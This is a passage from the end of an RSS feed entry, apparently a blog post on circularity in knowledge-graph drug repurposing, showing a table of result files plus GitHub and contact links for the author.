&lt;code&gt;results/holdout_metadata.json&lt;/code&gt;, &lt;code&gt;configs/holdout_reachability.json&lt;/code&gt;&lt;br&gt;
&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;Redesigned subgraph composition (0.7% drug–drug, …)&lt;/td&gt;

&lt;td&gt;&lt;code&gt;results/redesigned_subgraph_composition.json&lt;/code&gt;&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;Holdout rank lists&lt;/td&gt;

&lt;td&gt;&lt;code&gt;results/rankings/*_holdouts.tsv&lt;/code&gt;&lt;/td&gt;

&lt;/tr&gt;

&lt;tr&gt;

&lt;td&gt;Top-20 novel predictions (ClinicalTrials check)&lt;/td&gt;

&lt;/tr&gt;

&lt;/tbody&gt;

&lt;/table&gt;&lt;/div&gt;…&lt;p&gt;&lt;/p&gt;&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/sushrut1058/knowledge-graph-circularity" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;&lt;strong&gt;Contact:&lt;/strong&gt; &lt;a href="https://github.com/sushrut1058" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://www.linkedin.com/in/sushrut-hundikar-2371681b6/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; · &lt;a href="mailto:sushrut@badcast.dev"&gt;sushrut@badcast.dev&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://badcast.dev/blog/the-circularity-problem-in-kg-drug-repurposing" rel="noopener noreferrer"&gt;badcast.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
